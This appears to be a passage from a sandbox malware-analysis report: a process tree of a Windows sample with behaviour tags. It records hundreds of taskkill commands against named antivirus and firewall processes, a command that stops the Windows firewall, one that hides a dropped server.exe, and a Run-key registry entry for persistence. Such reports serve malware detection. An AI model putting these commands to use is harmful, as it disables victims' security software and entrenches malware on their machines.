C:\Windows\SysWOW64\taskkill.exetaskkill /f /im evpn.exe3⤵PID:1744
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im exantivirus -cnet.exe3⤵PID:1428
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fameh32.exe3⤵
- Kills process with taskkill
PID:2316
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fch32.exe3⤵PID:2372
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fih32.exe3⤵PID:2088
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im firewall.exe3⤵PID:1468
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fix-it.exe3⤵PID:1924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fnrb32.exe3⤵PID:1904
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fp -win_trial.exe3⤵PID:1132
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fsaa.exe3⤵PID:2304
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fsav32.exe3⤵PID:1664
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fsave32.exe3⤵PID:1136
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fsgk32.exe3⤵PID:952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fsm32.exe3⤵PID:2272
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fsma32.exe3⤵PID:2388
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im fwenc.exe3⤵PID:688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im gbmenu.exe3⤵PID:2360
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im gbpoll.exe3⤵PID:2568
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im generics.exe3⤵PID:1600
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im grief3878.exe3⤵PID:2564
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im guarddog.exe3⤵PID:2620
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im HackerEliminator.exe3⤵PID:2584
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im iamserv.exe3⤵PID:2508
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ibmavsp.exe3⤵PID:1940
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im icload95.exe3⤵PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im icmon.exe3⤵PID:2772
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im icsuppnt.exe3⤵PID:2684
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ifw2000.exe3⤵PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im inoculateit.exe3⤵PID:2700
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im iris.exe3⤵
- Kills process with taskkill
PID:2472
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im iparmor.exe3⤵PID:2920
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im iomon98.exe3⤵PID:2692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im isrv95.exe3⤵PID:2936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im kavpf.exe3⤵PID:1844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ldpromenu.exe3⤵PID:336
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im localnet.exe3⤵PID:452
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im lookout.exe3⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im luall.exe3⤵PID:1208
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im luspt.exe3⤵PID:2076
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mcagent.exe3⤵PID:2260
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mcshield.exe3⤵PID:2580
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mcshieldvvstat.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1864
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mcupdate.exe3⤵PID:1420
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mcvsshld.exe3⤵PID:2208
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mghtml.exe3⤵PID:892
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im minilog.exe3⤵PID:1580
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im monitor.exe3⤵
- Kills process with taskkill
PID:2652
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im monsysnt.exe3⤵PID:2244
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mpfservice.exe3⤵PID:2612
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mpftray.exe3⤵PID:2656
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im msinfo32.exe3⤵PID:2172
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im mwatch.exe3⤵PID:3048
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im n32scanw.exe3⤵PID:2524
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im NAV DefAlert.exe3⤵PID:2728
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im navalert.exe3⤵PID:1304
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im navapsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\services.exeC:\Windows\services.exe -XP4⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Modifies Installed Components in the registry
- Executes dropped EXE
- Loads dropped DLL
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2948
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im navengnavex15.exe3⤵
- Kills process with taskkill
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3060
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im navnt.exe3⤵PID:3060
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im navstub.exe3⤵
- Kills process with taskkill
PID:2572
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im neomonitor.exe3⤵PID:1764
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im net2000.exe3⤵
- Kills process with taskkill
PID:2372
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netarmor.exe3⤵PID:1996
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netinfo.exe3⤵PID:2384
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netpro.exe3⤵PID:2340
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netprotect.exe3⤵
- Kills process with taskkill
PID:2076
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netspyhunter -1.2.exe3⤵PID:1272
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netutils.exe3⤵
- Kills process with taskkill
PID:784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nimda.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1664
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nisum.exe3⤵PID:1136
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nmain.exe3⤵PID:2272
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nod32.exe3⤵PID:2872
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im norman.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2280
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im norman_av.exe3⤵PID:1668
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im normanav.exe3⤵PID:2744
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im normist.exe3⤵PID:2600
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im norton.exe3⤵PID:1168
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im notstart.exe3⤵PID:2844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im npfw.exe3⤵PID:3004
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nprotect.exe3⤵PID:2308
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im npssvc.exe3⤵PID:1308
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nsched32.exe3⤵PID:2964
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nschednt.exe3⤵PID:928
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nsplugin.exe3⤵PID:1460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ntvdm.exe3⤵PID:2440
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nui.exe3⤵PID:2976
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nvarch16.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nvsvc32.exe3⤵PID:1232
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nwtool16.exe3⤵
- Kills process with taskkill
PID:1256
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im OPScan.exe3⤵PID:2348
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im outpost.exe3⤵PID:588
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im panda.exe3⤵PID:2456
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pavcl.exe3⤵PID:1488
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pavsched.exe3⤵PID:3012
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pccguide.exe3⤵PID:972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pccntmon.exe3⤵PID:572
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pccwin98.exe3⤵PID:2888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pcscan.exe3⤵PID:764
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pingscan.exe3⤵PID:2276
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pop3trap.exe3⤵PID:2656
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im poproxy.exe3⤵PID:2928
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im portmonitor.exe3⤵PID:3048
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pptbc.exe3⤵PID:2524
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im processmonitor.exe3⤵
- Kills process with taskkill
PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im programauditor.exe3⤵PID:2772
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im protectx.exe3⤵
- Kills process with taskkill
PID:2684
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im purge.exe3⤵PID:940
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pw32.exe3⤵PID:2920
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rav.exe3⤵PID:2936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im realmon.exe3⤵PID:1844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rescue.exe3⤵PID:1824
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rrguard.exe3⤵PID:1532
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rtvscn95.exe3⤵
- Kills process with taskkill
PID:1464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im safeweb.exe3⤵PID:588
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sbserv.exe3⤵PID:2456
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im scanpm.exe3⤵PID:1892
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sd.exe3⤵PID:1268
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im serv95.exe3⤵PID:1988
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sh.exe3⤵PID:1060
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im shn.exe3⤵PID:900
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sofi.exe3⤵PID:1180
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sophos_av.exe3⤵PID:2288
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spf.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2244
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spy.exe3⤵PID:2780
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spyx.exe3⤵
- Kills process with taskkill
PID:2000
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im srwatch.exe3⤵PID:3052
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im st2.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im supp95.exe3⤵PID:2952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sweep95.exe3⤵PID:936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sweepsrv.sys.exe3⤵PID:2008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im swnetsup.exe3⤵PID:800
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Symantec Core LC.exe3⤵PID:1752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im symproxysvc.exe3⤵PID:2488
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sysedit.exe3⤵PID:2972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im taumon.exe3⤵
- Kills process with taskkill
PID:1172
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tbscan.exe3⤵
- Kills process with taskkill
PID:2312
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tcm.exe3⤵PID:596
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tds2 -98.exe3⤵PID:1728
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tfak.exe3⤵PID:1440
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tgbob.exe3⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im trjscan.exe3⤵
- Kills process with taskkill
PID:2340
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im undoboot.exe3⤵PID:2300
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vbcmserv.exe3⤵PID:1680
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vbust.exe3⤵PID:1420
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vet32.exe3⤵PID:2256
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vettray.exe3⤵PID:1180
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im virus.exe3⤵PID:1612
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im virusmdpersonalfirewall.exe3⤵PID:1916
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vnpc3000.exe3⤵PID:2600
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vptray.exe3⤵PID:2928
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vsched.exe3⤵PID:3048
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vsecomr.exe3⤵PID:1928
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vshwin32vbcmserv.exe3⤵PID:1568
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vsstat.exe3⤵PID:1312
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vswinntse.exe3⤵
- Kills process with taskkill
PID:2684
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im watchdog.exe3⤵PID:2504
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im webscanx.exe3⤵
- Kills process with taskkill
PID:2692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wgfe95.exe3⤵PID:2488
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wimmun32.exe3⤵PID:2972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im winroute.exe3⤵PID:1172
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im winsfcm.exe3⤵PID:676
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wqkmm3878.exe3⤵PID:596
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wrctrl.exe3⤵PID:652
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wyvernworksfirewall.exe3⤵PID:2460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im zapro.exe3⤵PID:1084
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im zauinst.exe3⤵PID:2140
-
-
C:\Windows\SysWOW64\attrib.exeattrib +R +A +S +H "c:\server.exe"3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2260
-
-
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v kill /t REG_SZ /d c:\windows\server.exe3⤵
- Modifies registry key
PID:2748
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im zonealarm.exe3⤵PID:1132
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im zatutor.exe3⤵PID:1888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wsbgate.exe3⤵PID:2252
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wradmin.exe3⤵PID:480
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wnt.exe3⤵PID:2312
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im winrecon.exe3⤵PID:2184
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im whoswatchingme.exe3⤵PID:1192
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im wfindv32.exe3⤵PID:2712
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im webtrap.exe3⤵PID:1752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im w9x.exe3⤵PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vswin9xe.exe3⤵PID:2956
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vsmon.exe3⤵PID:2784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vsmain.exe3⤵PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vshwin32.exe3⤵PID:2524
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vscan40.exe3⤵PID:2172
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vpfw30s.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2740
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vpc32.exe3⤵PID:1168
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vnlan300.exe3⤵
- Kills process with taskkill
PID:2604
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vir -help.exe3⤵PID:2152
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vet95.exe3⤵PID:2888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vcontrol.exe3⤵PID:1672
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vccmserv.exe3⤵PID:2368
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vbwinntw.exe3⤵PID:2724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vbwin9x.exe3⤵PID:3040
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vbcons.exe3⤵PID:2304
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im update.exe3⤵PID:1540
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im TrueVector.exe3⤵
- Kills process with taskkill
PID:788
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im trojantrap3.exe3⤵PID:2076
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im trendmicro.exe3⤵PID:1208
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tfak5.exe3⤵PID:588
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tds2 -nt.exe3⤵PID:1996
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tds -3.exe3⤵PID:2672
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tctca.exe3⤵
- Kills process with taskkill
PID:480
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tauscan.exe3⤵PID:676
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im taskmon.exe3⤵PID:2184
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im symtray.exe3⤵PID:1192
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im symlcsvc.exe3⤵PID:2712
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im symantec.exe3⤵PID:2520
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sweepsrv.sysvshwin32.exe3⤵PID:2168
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sweepnet.exe3⤵PID:1836
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im supporter5.exe3⤵PID:2536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im supftrl.exe3⤵PID:1940
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ss3edit.exe3⤵PID:2992
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spyxx.exe3⤵PID:3000
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im spygate.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2620
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sphinx.exe3⤵PID:2468
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sophosav.exe3⤵PID:1600
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sophos.exe3⤵PID:2152
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im smc.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sharedaccess.exe3⤵
- Kills process with taskkill
PID:572
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sfc.exe3⤵PID:972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im SENS.exe3⤵
- Kills process with taskkill
PID:2856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im scrscan.exe3⤵PID:3012
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im scan95.exe3⤵PID:1488
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im scan32.exe3⤵PID:2748
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im scan.exe3⤵PID:1636
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im SBservice.exe3⤵PID:1992
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im SAVscan.exe3⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rulaunch.exe3⤵PID:1440
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rshell.exe3⤵PID:2356
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im regrun2.exe3⤵PID:2400
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rav7win.exe3⤵PID:1044
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rav7.exe3⤵PID:2572
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im qconsole.exe3⤵PID:2472
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pview95.exe3⤵PID:2692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pspf.exe3⤵
- Kills process with taskkill
PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im proport.exe3⤵
- Kills process with taskkill
PID:2956
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im procexplorerv10#.exe3⤵PID:2784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ppvstop.exe3⤵PID:1568
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ppinupdt.exe3⤵PID:1928
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im portdetective.exe3⤵PID:2172
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im platin.exe3⤵PID:2732
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pfwadmin.exe3⤵
- Kills process with taskkill
PID:2588
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pf2.exe3⤵PID:1920
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im persfw.exe3⤵PID:2824
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im periscope.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2544
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pcfwallicon.exe3⤵PID:3020
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pccwin97.exe3⤵PID:900
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pcciomon.exe3⤵PID:1060
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pccclient.exe3⤵PID:1988
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pc -cillin.exe3⤵
- Kills process with taskkill
PID:968
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pc -cillan.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pavw.exe3⤵PID:1268
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pavproxy.exe3⤵PID:1892
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pav.exe3⤵
- Adds Run key to start application
PID:2748
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im panixk.exe3⤵PID:1636
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im pandaav.exe3⤵PID:1992
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im padmin.exe3⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ostronet.exe3⤵PID:1480
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im offguard.exe3⤵PID:336
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nwservice.exe3⤵PID:2396
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nvc95.exe3⤵PID:1404
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nupgrade.exe3⤵PID:2500
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ntxconfig.exe3⤵
- Kills process with taskkill
PID:2816
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ntrtscan.exe3⤵
- Kills process with taskkill
PID:2156
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nresq32.exe3⤵PID:768
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im npscheck.exe3⤵PID:2952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im npfw32.exe3⤵
- Kills process with taskkill
PID:2848
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im npfmessenger.exe3⤵PID:2180
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nortonav.exe3⤵PID:1852
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im norton_av.exe3⤵PID:2496
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Norton Auto-Protect.exe3⤵PID:2780
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im norman32.exe3⤵PID:2360
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im norman_32.exe3⤵PID:688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nisumnisservnisum.exe3⤵PID:952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nisserv.exe3⤵
- Kills process with taskkill
PID:472
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netutils].exe3⤵PID:2304
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netstat.exe3⤵PID:384
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netscanpro.exe3⤵
- Kills process with taskkill
PID:788
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im netmon.exe3⤵PID:1208
-
-
